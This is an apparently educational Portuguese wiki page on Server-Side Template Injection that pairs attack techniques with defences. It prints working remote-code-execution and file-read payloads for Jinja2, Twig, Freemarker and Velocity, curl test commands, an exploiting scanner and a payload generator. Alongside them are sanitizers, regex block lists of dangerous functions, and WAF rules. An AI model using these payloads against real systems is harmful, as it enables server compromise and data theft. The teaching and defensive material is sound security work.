# Server Side Template Injection

## **🔍 Conceitos Fundamentais**

### **O que é Server-Side Template Injection (SSTI)**

SSTI é uma vulnerabilidade que ocorre quando uma aplicação incorpora entrada do usuário não confiável em templates que são executados no servidor, permitindo que um atacante injete código malicioso que será executado no contexto do servidor.

### **Princípio de Funcionamento**

```
Entrada Maliciosa → Template Engine Processa → Código Executado → Acesso ao Servidor
        ↓                     ↓                       ↓                  ↓
  Atacante envia         Motor de template    Código injetado é    Controle do
  payload template       interpreta input     executado no         servidor ou
                         como código          servidor             dados roubados
```

### **Características do SSTI**

* **Explora a execução de templates** no lado do servidor
* **Permite execução de código arbitrário** no servidor
* **Pode levar a comprometimento completo** do sistema
* **Frequentemente negligenciada** em testes de segurança

### **Template Engines Comuns**

| Template Engine | Linguagem  | Sintaxe de Injeção  |
| --------------- | ---------- | ------------------- |
| **Jinja2**      | Python     | `{{ 7*7 }}` → 49    |
| **Twig**        | PHP        | `{{ 7*7 }}` → 49    |
| **Freemarker**  | Java       | `${7*7}` → 49       |
| **Velocity**    | Java       | `#set($x=7*7)` → 49 |
| **Handlebars**  | JavaScript | `{{7*7}}` → 49      |
| **Smarty**      | PHP        | `{7*7}` → 49        |
| **ERB**         | Ruby       | `<%= 7*7 %>` → 49   |

***

## **⚔️ Mecanismos de Ataque**

### **Fluxo de Ataque SSTI**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant S as Servidor Web
    participant T as Template Engine
    participant OS as Sistema Operacional

    Note over A,OS: FASE 1: Reconhecimento
    A->>S: Envia payloads de teste simples
    Note right of A: {{ 7*7 }}, ${7*7}, <%= 7*7 %>
    S->>T: Processa template com input do usuário
    T->>T: Executa código no template
    T->>S: Retorna resultado da execução
    S->>A: Exibe resultado processado
    A->>A: Identifica template engine pelo comportamento

    Note over A,OS: FASE 2: Exploração Básica
    A->>S: Envia payloads para descobrir contexto
    Note right of A: {{ config }}, {{ settings }}, {{ self }}
    S->>T: Processa template com objetos expostos
    T->>S: Retorna informações do sistema
    S->>A: Exibe dados sensíveis do servidor

    Note over A,OS: FASE 3: Escalação de Acesso
    A->>S: Envia payloads para RCE (Remote Code Execution)
    Note right of A: {{ ''.__class__.__mro__[1].__subclasses__() }}
    S->>T: Executa código malicioso no template
    T->>OS: Chama funções do sistema operacional
    OS->>T: Retorna resultado dos comandos
    T->>S: Encaminha saída dos comandos
    S->>A: Exibe saída dos comandos do sistema

    Note over A,OS: FASE 4: Comprometimento Total
    A->>S: Executa comandos avançados
    Note right of A: Leitura de arquivos, reverse shell,<br>roubo de dados, persistência
    S->>T: Processa templates maliciosos
    T->>OS: Executa comandos com privilégios do servidor
    OS->>T: Retorna dados sensíveis
    T->>S: Processa e formata dados
    S->>A: Entrega dados comprometidos

    Note over A,OS: FASE 5: Pós-Exploração
    A->>OS: Mantém acesso via backdoors
    A->>S: Exfiltra dados continuamente
    A->>A: Esconde rastros do ataque
```

### **Cenário 1: SSTI Básico em Jinja2**

```http
POST /greeting HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded

name={{ 7*7 }}

-- Resposta: Hello 49!
```

### **Cenário 2: Acesso a Objetos do Sistema**

```http
GET /profile/{{ config.items() }} HTTP/1.1
Host: flask-app.com

-- Retorna configurações da aplicação incluindo SECRET_KEY
```

### **Cenário 3: Remote Code Execution**

```http
POST /render HTTP/1.1
Host: template-service.com
Content-Type: application/json

{
  "template": "{{ ''.__class__.__mro__[1].__subclasses__()[408]('whoami', shell=True, stdout=-1).communicate() }}"
}

-- Executa comando 'whoami' no servidor
```

### **Cenário 4: Leitura de Arquivos**

```http
GET /user/{{ open('/etc/passwd').read() }} HTTP/1.1
Host: file-processor.com

-- Lê e exibe conteúdo do arquivo /etc/passwd
```

***

## **🔎 Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Funcionalidades que podem ser vulneráveis
- Geradores de email templates
- Sistemas de relatórios dinâmicos
- Painéis de administração
- Editores de template WYSIWYG
- Sistemas de CMS
- Geradores de PDF/HTML
- Páginas de erro personalizadas
```

### **Padrões de Parâmetros Vulneráveis**

```
template, view, page, layout, content, body, message
greeting, name, username, email, subject, title
format, render, generate, compile, process
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}
**1. Testes de Detecção Básica**

```bash
# Testar com operações matemáticas
curl -X POST http://target.com/greeting -d 'name={{ 7*7 }}'
curl -X POST http://target.com/render -d 'template=${7*7}'
curl -X POST http://target.com/format -d 'content=<%= 7*7 %>'

# Testar com expressões de template
curl -X GET "http://target.com/user/{{ 7*7 }}"
curl -X GET "http://target.com/page/${7*7}"
```

{% endstep %}

{% step %}
**2. Script de Detecção Automatizada**

```python
#!/usr/bin/env python3
# ssti_scanner.py

import requests
import json
import re
from urllib.parse import urljoin

class SSTIScanner:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
        
        # Payloads de detecção para diferentes template engines
        self.detection_payloads = [
            # Jinja2, Twig
            {'payload': '{{ 7*7 }}', 'expected': '49', 'engine': 'Jinja2/Twig'},
            {'payload': '{{ 7*\'7\' }}', 'expected': '7777777', 'engine': 'Jinja2'},
            {'payload': '{{ \'7\'*7 }}', 'expected': '7777777', 'engine': 'Twig'},
            
            # Freemarker
            {'payload': '${7*7}', 'expected': '49', 'engine': 'Freemarker'},
            {'payload': '#{7*7}', 'expected': '49', 'engine': 'Freemarker'},
            
            # Velocity
            {'payload': '#set($x=7*7)', 'expected': '49', 'engine': 'Velocity'},
            
            # Smarty
            {'payload': '{7*7}', 'expected': '49', 'engine': 'Smarty'},
            
            # ERB (Ruby)
            {'payload': '<%= 7*7 %>', 'expected': '49', 'engine': 'ERB'},
            {'payload': '<%= 7*7 %>', 'expected': '49', 'engine': 'ERB'},
            
            # Handlebars
            {'payload': '{{7*7}}', 'expected': '49', 'engine': 'Handlebars'},
            
            # Mako (Python)
            {'payload': '${7*7}', 'expected': '49', 'engine': 'Mako'},
            
            # Tornado (Python)
            {'payload': '{{ 7*7 }}', 'expected': '49', 'engine': 'Tornado'}
        ]
        
        # Endpoints comuns para teste
        self.common_endpoints = [
            '/greeting', '/render', '/template', '/format',
            '/email', '/report', '/profile', '/user',
            '/page', '/content', '/message', '/preview'
        ]

    def test_parameter_ssti(self, url, method='POST', param_name='template'):
        """Testar parâmetro específico para SSTI"""
        print(f"[*] Testando SSTI em {url} - parâmetro: {param_name}")
        
        for test in self.detection_payloads:
            try:
                if method.upper() == 'POST':
                    data = {param_name: test['payload']}
                    response = self.session.post(url, data=data, timeout=10)
                else:
                    params = {param_name: test['payload']}
                    response = self.session.get(url, params=params, timeout=10)
                
                # Verificar se o payload foi executado
                if self.check_payload_execution(response, test):
                    print(f"[!] SSTI detectado - Engine: {test['engine']}")
                    
                    vulnerability = {
                        'url': url,
                        'parameter': param_name,
                        'engine': test['engine'],
                        'payload': test['payload'],
                        'evidence': response.text[:500]
                    }
                    
                    # Testar gravidade
                    severity = self.test_exploitation(url, method, param_name, test['engine'])
                    vulnerability['severity'] = severity
                    
                    self.vulnerabilities.append(vulnerability)
                    return True
                    
            except Exception as e:
                print(f"[!] Erro testando {test['engine']}: {e}")
        
        return False

    def check_payload_execution(self, response, test):
        """Verificar se o payload foi executado"""
        response_text = response.text
        
        # Verificar resultado esperado
        if test['expected'] in response_text:
            return True
        
        # Verificar por diferenças que indicam execução
        if test['payload'] not in response_text and len(response_text) > len(test['payload']):
            return True
        
        # Verificar por mensagens de erro específicas
        error_indicators = [
            'template error', 'syntax error', 'compilation error',
            'undefined variable', 'parse error'
        ]
        
        for indicator in error_indicators:
            if indicator in response_text.lower():
                return True
        
        return False

    def test_exploitation(self, url, method, param_name, engine):
        """Testar capacidade de exploração"""
        print(f"[*] Testando exploração para {engine}")
        
        # Payloads de exploração baseados na engine
        exploitation_payloads = self.get_exploitation_payloads(engine)
        
        for payload_name, payload in exploitation_payloads.items():
            try:
                if method.upper() == 'POST':
                    data = {param_name: payload}
                    response = self.session.post(url, data=data, timeout=10)
                else:
                    params = {param_name: payload}
                    response = self.session.get(url, params=params, timeout=10)
                
                if self.check_exploitation_success(response, payload_name):
                    print(f"[!] Exploração bem-sucedida: {payload_name}")
                    return "HIGH"
                    
            except Exception as e:
                print(f"[*] Exploração {payload_name} falhou: {e}")
        
        return "MEDIUM"

    def get_exploitation_payloads(self, engine):
        """Obter payloads de exploração específicos para cada engine"""
        payloads = {}
        
        if engine in ['Jinja2', 'Twig']:
            payloads.update({
                'config_access': '{{ config }}',
                'self_access': '{{ self }}',
                'environment': '{{ cycler.__init__.__globals__.os.environ }}'
            })
        elif engine == 'Freemarker':
            payloads.update({
                'class_access': '${object.getClass()}',
                'environment': '${.vars.get("class").forName("java.lang.System").getMethod("getenv")}'
            })
        elif engine == 'Velocity':
            payloads.update({
                'class_access': '#set($x=$class.inspect("java.lang.String"))',
                'runtime_exec': '#set($rt=$class.inspect("java.lang.Runtime").type.runtime)'
            })
        
        return payloads

    def check_exploitation_success(self, response, payload_name):
        """Verificar se a exploração foi bem-sucedida"""
        response_text = response.text.lower()
        
        if payload_name == 'config_access' and ('secret' in response_text or 'key' in response_text):
            return True
        
        if payload_name == 'environment' and ('path' in response_text or 'home' in response_text):
            return True
        
        if 'error' not in response_text and len(response_text) > 100:
            return True
        
        return False

    def comprehensive_scan(self):
        """Scan abrangente para SSTI"""
        print(f"[*] Iniciando scan SSTI em: {self.target_url}")
        
        for endpoint in self.common_endpoints:
            url = urljoin(self.target_url, endpoint)
            
            # Testar métodos POST e GET
            for method in ['POST', 'GET']:
                # Testar parâmetros comuns
                for param in ['template', 'name', 'content', 'message', 'email']:
                    self.test_parameter_ssti(url, method, param)

    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target_url': self.target_url,
            'vulnerabilities_found': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities
        }

# Uso do scanner
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 2:
        print("Uso: python ssti_scanner.py <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    scanner = SSTIScanner(target)
    
    scanner.comprehensive_scan()
    report = scanner.generate_report()
    
    print(f"\n[+] Scan completo. Vulnerabilidades encontradas: {report['vulnerabilities_found']}")
    
    for vuln in report['vulnerabilities']:
        print(f"  - {vuln['engine']} em {vuln['url']} (Severidade: {vuln['severity']})")
```

{% endstep %}
{% endstepper %}

### **Técnicas de Detecção Avançadas**

{% stepper %}
{% step %}
**1. Detecção de Template Engine Específica**

```python
def identify_template_engine(target_url, endpoint):
    """Identificar template engine específica"""
    identification_payloads = {
        'Jinja2': {
            'payload': '{{ "".__class__ }}',
            'indicator': 'class \'str\''
        },
        'Twig': {
            'payload': '{{ _self }}',
            'indicator': 'Template'
        },
        'Freemarker': {
            'payload': '${"freemarker.template.utility.Execute"?new()("whoami")}',
            'indicator': 'root'
        },
        'Velocity': {
            'payload': '#set($exec="hello")${exec}',
            'indicator': 'hello'
        }
    }
    
    for engine, test in identification_payloads.items():
        try:
            response = requests.post(
                f"{target_url}{endpoint}",
                data={'template': test['payload']}
            )
            
            if test['indicator'] in response.text:
                print(f"[!] Template Engine identificada: {engine}")
                return engine
                
        except Exception as e:
            continue
    
    return "Unknown"
```

{% endstep %}

{% step %}
**2. Blind SSTI Detection**

```python
def detect_blind_ssti(target_url, endpoint, callback_server):
    """Detectar Blind SSTI usando time-based techniques"""
    time_based_payloads = [
        # Jinja2
        '{{ "".__class__.__mro__[1].__subclasses__()[200].__init__.__globals__["time"].sleep(5) }}',
        # Twig
        '{{ cycler.__init__.__globals__.os.popen("sleep 5") }}',
        # Freemarker
        '${productClass.protectionDomain.codeSource.location.openConnection().URLClassLoader.loadClass("java.lang.Thread").methods[6].invoke(null).sleep(5000)}'
    ]
    
    for payload in time_based_payloads:
        start_time = time.time()
        
        try:
            response = requests.post(
                f"{target_url}{endpoint}",
                data={'template': payload},
                timeout=10
            )
            response_time = time.time() - start_time
            
            if response_time >= 5:
                print(f"[!] Blind SSTI detectado (time-based): {response_time:.2f}s")
                return True
                
        except requests.exceptions.Timeout:
            print("[!] Blind SSTI detectado (timeout)")
            return True
    
    return False
```

{% endstep %}
{% endstepper %}

***

## **💥 Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

{% stepper %}
{% step %}
**1. Remote Code Execution em Jinja2**

```python
# Payloads para RCE em Jinja2
payloads = {
    'class_chain': '{{ "".__class__.__mro__[1].__subclasses__() }}',
    'popen_exec': '{{ "".__class__.__mro__[1].__subclasses__()[408]("whoami", shell=True, stdout=-1).communicate() }}',
    'os_system': '{{ "".__class__.__mro__[1].__subclasses__()[408].__init__.__globals__["os"].system("id") }}',
    'file_read': '{{ "".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read() }}',
    'config_dump': '{{ config }}',
    'secret_key': '{{ config.SECRET_KEY }}'
}
```

{% endstep %}

{% step %}
**2. Exploração em Twig (PHP)**

```twig
{# Acesso a variáveis globais #}
{{ _self }}
{{ _context }}

{# Acesso a constantes #}
{{ constant('PHP_VERSION') }}

{# Execução de código PHP #}
{{ ['id']|filter('system') }}
{{ ['cat /etc/passwd']|filter('system') }}
```

{% endstep %}

{% step %}
**3. Exploração em Freemarker (Java)**

```freemarker
<#-- Acesso a classes Java -->
${object.getClass()}
${productClass.protectionDomain.codeSource.location.path}

<#-- Execução de comandos -->
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","whoami").start()}
```

{% endstep %}

{% step %}
**4. Exploração em Velocity (Java)**

```velocity
#set($rt = $class.inspect("java.lang.Runtime").type.runtime)
#set($proc = $rt.exec("whoami"))
#set($is = $proc.getInputStream())
#set($sc = $class.inspect("java.util.Scanner"))
#set($sc = $sc.type.getConstructor($class.inspect("java.io.InputStream").type))
#set($sc = $sc.newInstance($is))
#set($output = $sc.useDelimiter("\\A").next())
$output
```

{% endstep %}
{% endstepper %}

### **Impacto do SSTI**

#### **Cenários de Ataque e Impacto**

```json
{
  "remote_code_execution": {
    "impacto": "Crítico",
    "cenario": "Execução arbitrária de código no servidor",
    "consequencias": [
      "Comprometimento completo do servidor",
      "Acesso a dados sensíveis",
      "Instalação de backdoors",
      "Movimento lateral na rede"
    ]
  },
  "information_disclosure": {
    "impacto": "Alto",
    "cenario": "Exposição de informações sensíveis",
    "consequencias": [
      "Roubo de chaves de criptografia",
      "Exposição de configurações do sistema",
      "Vazamento de credenciais de banco",
      "Acesso a variáveis de ambiente"
    ]
  },
  "file_system_access": {
    "impacto": "Alto",
    "cenario": "Leitura/escrita arbitrária de arquivos",
    "consequencias": [
      "Leitura de arquivos de configuração",
      "Roubo de dados de aplicação",
      "Modificação de arquivos do sistema",
      "Instalação de webshells"
    ]
  },
  "business_impact": {
    "impacto": "Alto",
    "cenario": "Impacto no negócio e reputação",
    "consequencias": [
      "Parada de serviços",
      "Perda de dados de clientes",
      "Danos à reputação da empresa",
      "Multas por violação de compliance"
    ]
  }
}
```

#### **Cadeia de Exploração Completa**

```
SSTI Detection → Template Engine Identification → Information Disclosure → RCE → Persistence
```

***

## **🛡️ Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Sanitização e Validação de Input**

```python
import re
import html
from jinja2 import Template, Environment, BaseLoader

class SSTISanitizer:
    """
    Sistema de sanitização para prevenir SSTI
    """
    
    def __init__(self):
        self.dangerous_patterns = [
            # Padrões de template engines
            r'\{\{.*?\}\}',
            r'\$\{.*?\}',
            r'#\{.*?\}',
            r'<%=.*?%>',
            r'<%.*?%>',
            r'\[\[.*?\]\]',
            
            # Padrões de acesso a objetos
            r'__class__',
            r'__mro__',
            r'__subclasses__',
            r'__globals__',
            r'__init__',
            r'__builtins__',
            
            # Funções perigosas
            r'eval\(',
            r'exec\(',
            r'compile\(',
            r'open\(',
            r'file\(',
            r'system\(',
            r'popen\(',
            r'os\.',
            r'subprocess\.'
        ]
        
        self.compiled_patterns = [re.compile(pattern, re.IGNORECASE) for pattern in self.dangerous_patterns]
    
    def sanitize_input(self, user_input):
        """
        Sanitizar input do usuário para prevenir SSTI
        """
        if not user_input or not isinstance(user_input, str):
            return user_input
        
        # Verificar padrões perigosos
        for pattern in self.compiled_patterns:
            if pattern.search(user_input):
                raise SecurityException(f"Input contém padrão perigoso: {pattern.pattern}")
        
        # Escape de caracteres especiais
        sanitized = html.escape(user_input)
        
        return sanitized
    
    def safe_template_render(self, template_string, context=None):
        """
        Renderizar template de forma segura
        """
        if context is None:
            context = {}
        
        # Validar template string
        self.validate_template(template_string)
        
        # Criar environment seguro
        env = Environment(
            loader=BaseLoader(),
            autoescape=True,
            undefined=StrictUndefined  # Lançar erro para variáveis indefinidas
        )
        
        # Configurações de segurança adicionais
        env.globals = {}  # Não expor globals
        env.filters = self.get_safe_filters()  # Apenas filtros seguros
        
        try:
            template = env.from_string(template_string)
            return template.render(**context)
        except Exception as e:
            raise TemplateRenderException(f"Erro ao renderizar template: {e}")

class SecurityException(Exception):
    pass

class TemplateRenderException(Exception):
    pass

# Uso seguro
sanitizer = SSTISanitizer()

try:
    safe_input = sanitizer.sanitize_input(user_input)
    result = sanitizer.safe_template_render("Hello {{ name }}", {'name': safe_input})
except SecurityException as e:
    logger.error(f"Tentativa de SSTI bloqueada: {e}")
    return HttpResponseBadRequest("Input inválido")
```

#### **2. Sandboxing e Ambiente Restrito**

```python
import ast
import operator

class TemplateSandbox:
    """
    Sandbox seguro para execução de templates
    """
    
    def __init__(self):
        # Operadores seguros
        self.safe_operators = {
            ast.Add: operator.add,
            ast.Sub: operator.sub,
            ast.Mult: operator.mul,
            ast.Div: operator.truediv,
            ast.Pow: operator.pow,
            ast.Mod: operator.mod
        }
        
        # Funções seguras
        self.safe_functions = {
            'abs': abs,
            'min': min,
            'max': max,
            'len': len,
            'str': str,
            'int': int,
            'float': float
        }
        
        # Constantes seguras
        self.safe_constants = {
            'True': True,
            'False': False,
            'None': None
        }

    def evaluate_expression(self, expression):
        """
        Avaliar expressão de forma segura em sandbox
        """
        try:
            # Parse da expressão
            tree = ast.parse(expression, mode='eval')
            
            # Validar AST
            self.validate_ast(tree.body)
            
            # Compilar e executar
            code = compile(tree, '<string>', 'eval')
            result = eval(code, {'__builtins__': {}}, self.safe_constants)
            
            return result
            
        except Exception as e:
            raise SandboxException(f"Expressão inválida: {e}")

    def validate_ast(self, node):
        """
        Validar Abstract Syntax Tree
        """
        if isinstance(node, ast.Expression):
            return self.validate_ast(node.body)
        
        elif isinstance(node, ast.BinOp):
            if type(node.op) not in self.safe_operators:
                raise SandboxException(f"Operador não permitido: {type(node.op)}")
            self.validate_ast(node.left)
            self.validate_ast(node.right)
        
        elif isinstance(node, ast.Call):
            raise SandboxException("Chamadas de função não são permitidas")
        
        elif isinstance(node, ast.Attribute):
            raise SandboxException("Acesso a atributos não é permitido")
        
        elif isinstance(node, ast.Subscript):
            raise SandboxException("Subscripts não são permitidos")
        
        elif isinstance(node, (ast.Name, ast.Constant, ast.Num, ast.Str)):
            return True  # Nós seguros
        
        else:
            raise SandboxException(f"Tipo de nó não permitido: {type(node)}")

class SandboxException(Exception):
    pass
```

#### **3. Configuração Segura de Template Engines**

**Jinja2 Seguro**

```python
from jinja2 import Environment, FileSystemLoader, StrictUndefined

# Configuração segura do Jinja2
def create_secure_environment(template_dir):
    env = Environment(
        loader=FileSystemLoader(template_dir),
        autoescape=True,           # Auto-escaping habilitado
        undefined=StrictUndefined, # Erro para variáveis indefinidas
        trim_blocks=True,
        lstrip_blocks=True,
        
        # Desabilitar recursos perigosos
        extensions=[],             # Nenhuma extensão customizada
        optimized=True,            # Otimizações de segurança
        cache_size=0               # Sem cache para desenvolvimento
    )
    
    # Remover acessos perigosos
    env.globals.clear()
    env.filters.clear()
    
    # Adicionar apenas filtros seguros
    env.filters.update({
        'upper': str.upper,
        'lower': str.lower,
        'capitalize': str.capitalize,
        'title': str.title
    })
    
    return env
```

**Django Templates Seguro**

```python
# settings.py
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
            'autoescape': True,  # CRITICAL: Sempre habilitado
            'string_if_invalid': '',  # Não revelar erros
            'builtins': [  # Apenas builtins seguros
                'django.template.defaultfilters',
                'django.template.defaulttags',
            ],
        },
    },
]
```

### **Web Application Firewall Rules**

```nginx
# nginx-ssti-protection.conf
http {
    # Bloquear padrões de SSTI conhecidos
    server {
        listen 80;
        
        location / {
            # Bloquear padrões de template injection
            if ($args ~* "(?:\{\{.*?\}\}|\$\{.*?\}|#\{.*?\}|<%=.*?%>|<%.*?%>)") {
                return 403;
            }
            
            # Bloquear acesso a atributos de classe
            if ($args ~* "__class__|__mro__|__subclasses__|__globals__|__builtins__") {
                return 403;
            }
            
            # Bloquear funções perigosas
            if ($args ~* "eval\(|exec\(|compile\(|open\(|file\(|system\(") {
                return 403;
            }
            
            proxy_pass http://backend;
        }
    }
}
```

***

## **🔧 Ferramentas e Testes**

### **Ferramentas Especializadas em SSTI**

#### **1. Tplmap - Automated SSTI Tool**

```bash
# Instalação
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# Uso básico
python tplmap.py -u 'http://target.com/greeting?name=test'

# Exploração avançada
python tplmap.py -u 'http://target.com/render' --data 'template=test' --engine jinja2 --os-cmd 'whoami'

# Scan automático
python tplmap.py -u 'http://target.com/page' --auto
```

#### **2. SSTI Payload Generator**

```python
#!/usr/bin/env python3
# ssti_payload_generator.py

class SSTIPayloadGenerator:
    def __init__(self):
        self.payloads = {}
        
    def generate_jinja2_payloads(self):
        """Gerar payloads para Jinja2"""
        return {
            'basic_math': '{{ 7*7 }}',
            'string_concat': '{{ "a"*7 }}',
            'config_access': '{{ config }}',
            'self_access': '{{ self }}',
            'class_hierarchy': '{{ "".__class__ }}',
            'subclasses': '{{ "".__class__.__mro__[1].__subclasses__() }}',
            'file_read': '{{ "".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read() }}',
            'rce': '{{ "".__class__.__mro__[1].__subclasses__()[408]("whoami", shell=True, stdout=-1).communicate() }}'
        }
    
    def generate_twig_payloads(self):
        """Gerar payloads para Twig"""
        return {
            'basic_math': '{{ 7*7 }}',
            'self_access': '{{ _self }}',
            'env_access': '{{ _self.env }}',
            'filter_system': '{{ ["whoami"]|filter("system") }}',
            'constant_php': '{{ constant("PHP_VERSION") }}'
        }
    
    def generate_freemarker_payloads(self):
        """Gerar payloads para Freemarker"""
        return {
            'basic_math': '${7*7}',
            'class_access': '${object.getClass()}',
            'exec_command': '${"freemarker.template.utility.Execute"?new()("whoami")}',
            'object_constructor': '${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","whoami").start()}'
        }

# Uso
generator = SSTIPayloadGenerator()
jinja2_payloads = generator.generate_jinja2_payloads()

for name, payload in jinja2_payloads.items():
    print(f"{name}: {payload}")
```

### **Comandos de Teste Manuais**

```bash
# Teste básico com curl
curl -X POST http://target.com/greeting -d 'name={{ 7*7 }}'
curl -X GET "http://target.com/user/${7*7}"

# Teste com diferentes engines
curl -X POST http://target.com/render -d 'template=<%= 7*7 %>'
curl -X POST http://target.com/format -d 'content=#{7*7}'

# Teste de RCE
curl -X POST http://target.com/process -d 'template={{ "".__class__.__mro__[1].__subclasses__()[408]("id", shell=True, stdout=-1).communicate() }}'
```

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção SSTI**

* [ ] **Validação de Input**
  * [ ] Lista negra de padrões de template
  * [ ] Sanitização de entrada do usuário
  * [ ] Validação de caracteres permitidos
  * [ ] Escape de caracteres especiais
* [ ] **Configuração de Template Engine**
  * [ ] Auto-escaping habilitado
  * [ ] Sandboxing implementado
  * [ ] Variáveis indefinidas causam erro
  * [ ] Apenas filtros e funções seguras
* [ ] **Secure Coding**
  * [ ] Nunca usar entrada do usuário em templates
  * [ ] Usar templates estáticos quando possível
  * [ ] Validação de contexto antes do render
  * [ ] Logging de tentativas de SSTI
* [ ] **Monitoramento**
  * [ ] Detecção de padrões de template em logs
  * [ ] Alertas para tentativas de SSTI
  * [ ] Auditoria regular de templates
  * [ ] Análise de segurança de código

### **Checklist de Auditoria**

* [ ] **Testes de Segurança**
  * [ ] Teste com payloads básicos de SSTI
  * [ ] Teste de identificação de template engine
  * [ ] Teste de RCE para cada engine identificada
  * [ ] Teste de blind SSTI
* [ ] **Revisão de Código**
  * [ ] Análise de todos os pontos de renderização
  * [ ] Verificação de configurações de template engine
  * [ ] Revisão de sanitização de input
  * [ ] Análise de funções de template customizadas
* [ ] **Configuração de Ambiente**
  * [ ] Verificação de configurações do servidor web
  * [ ] Análise de regras de WAF
  * [ ] Configuração de logging adequada
  * [ ] Configurações de segurança do framework

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitoramento de logs de template
  * [ ] Alertas para padrões de SSTI
  * [ ] Análise de tráfego suspeito
  * [ ] Relatórios de usuários
* [ ] **Contenção**
  * [ ] Bloqueio de IPs atacantes
  * [ ] Desativação de endpoints vulneráveis
  * [ ] Rotação de credenciais comprometidas
  * [ ] Isolamento de sistemas afetados
* [ ] **Correção**
  * [ ] Implementação de sanitização
  * [ ] Atualização de configurações de template
  * [ ] Patch de vulnerabilidades
  * [ ] Reteste de segurança

***

## **📊 Exemplos de Implementação Segura**

### **Sistema Completo de Proteção SSTI**

```python
# security/ssti_protection.py
import re
import logging
from functools import wraps
from jinja2 import Environment, BaseLoader, StrictUndefined, TemplateError

logger = logging.getLogger('ssti_protection')

class SSTIProtectionSystem:
    """
    Sistema abrangente de proteção contra SSTI
    """
    
    def __init__(self):
        self.dangerous_patterns = self.compile_dangerous_patterns()
        self.allowed_chars = re.compile(r'^[a-zA-Z0-9\s\.\,\-\_\@\#\$\%\&\*\(\)\!\?\:\;\+\=\[\]\{\}\<\>\|\/\\ ]+$')
        
    def compile_dangerous_patterns(self):
        """Compilar padrões perigosos para SSTI"""
        patterns = [
            # Template syntax
            r'\{\{.*?\}\}',
            r'\$\{.*?\}',
            r'#\{.*?\}',
            r'<%=.*?%>',
            r'<%.*?%>',
            r'\[\[.*?\]\]',
            
            # Python-specific
            r'__class__',
            r'__mro__',
            r'__subclasses__',
            r'__globals__',
            r'__builtins__',
            r'__init__',
            r'__import__',
            
            # PHP-specific
            r'_self',
            r'_context',
            r'filter\s*\(\s*[\'"]system[\'"]',
            
            # Java-specific
            r'\.getClass\(\)',
            r'\.forName\(',
            r'Runtime\.getRuntime\(\)',
            r'ProcessBuilder',
            
            # Dangerous functions
            r'eval\s*\(',
            r'exec\s*\(',
            r'compile\s*\(',
            r'open\s*\(',
            r'file\s*\(',
            r'system\s*\(',
            r'popen\s*\(',
            r'subprocess\.',
            r'os\.system',
            r'commands\.'
        ]
        
        return [re.compile(pattern, re.IGNORECASE) for pattern in patterns]
    
    def validate_input(self, user_input):
        """
        Validação rigorosa de input contra SSTI
        """
        if not isinstance(user_input, str):
            return user_input
        
        # Verificar comprimento máximo
        if len(user_input) > 1000:
            raise SSTIValidationError("Input muito longo")
        
        # Verificar caracteres permitidos
        if not self.allowed_chars.match(user_input):
            raise SSTIValidationError("Caracteres não permitidos no input")
        
        # Verificar padrões perigosos
        for pattern in self.dangerous_patterns:
            if pattern.search(user_input):
                logger.warning(f"Tentativa de SSTI detectada: {pattern.pattern}")
                raise SSTIValidationError(f"Padrão perigoso detectado: {pattern.pattern}")
        
        return user_input
    
    def create_secure_environment(self):
        """
        Criar ambiente de template seguro
        """
        env = Environment(
            loader=BaseLoader(),
            autoescape=True,
            undefined=StrictUndefined,
            trim_blocks=True,
            lstrip_blocks=True,
            extensions=[],
            optimized=True
        )
        
        # Limpar globals e filters
        env.globals.clear()
        env.filters.clear()
        
        # Adicionar apenas filtros seguros
        safe_filters = {
            'upper': str.upper,
            'lower': str.lower,
            'capitalize': str.capitalize,
            'title': str.title,
            'trim': str.strip,
            'replace': lambda s, old, new: s.replace(old, new),
            'length': len
        }
        
        env.filters.update(safe_filters)
        
        return env
    
    def safe_render(self, template_string, context=None):
        """
        Renderização segura de template
        """
        if context is None:
            context = {}
        
        # Validar template string
        self.validate_input(template_string)
        
        # Validar contexto
        for key, value in context.items():
            if isinstance(value, str):
                context[key] = self.validate_input(value)
        
        # Criar ambiente seguro
        env = self.create_secure_environment()
        
        try:
            template = env.from_string(template_string)
            return template.render(**context)
        except TemplateError as e:
            logger.error(f"Erro ao renderizar template: {e}")
            raise SSTIRenderError(f"Erro ao renderizar template: {e}")

# Decorator para proteção automática
def ssti_protected(*param_names):
    """
    Decorator para proteger endpoints contra SSTI
    """
    def decorator(func):
        @wraps(func)
        def wrapper(request, *args, **kwargs):
            protection = SSTIProtectionSystem()
            
            # Validar parâmetros da URL
            for param in request.GET:
                if param in param_names:
                    try:
                        safe_value = protection.validate_input(request.GET[param])
                        # Substituir valor original
                        request.GET = request.GET.copy()
                        request.GET[param] = safe_value
                    except SSTIValidationError as e:
                        logger.warning(f"SSTI bloqueada em GET param {param}: {e}")
                        return HttpResponseForbidden("Input validation failed")
            
            # Validar parâmetros do POST
            if request.method == 'POST':
                for param in request.POST:
                    if param in param_names:
                        try:
                            safe_value = protection.validate_input(request.POST[param])
                            # Substituir valor original
                            request.POST = request.POST.copy()
                            request.POST[param] = safe_value
                        except SSTIValidationError as e:
                            logger.warning(f"SSTI bloqueada em POST param {param}: {e}")
                            return HttpResponseForbidden("Input validation failed")
            
            return func(request, *args, **kwargs)
        return wrapper
    return decorator

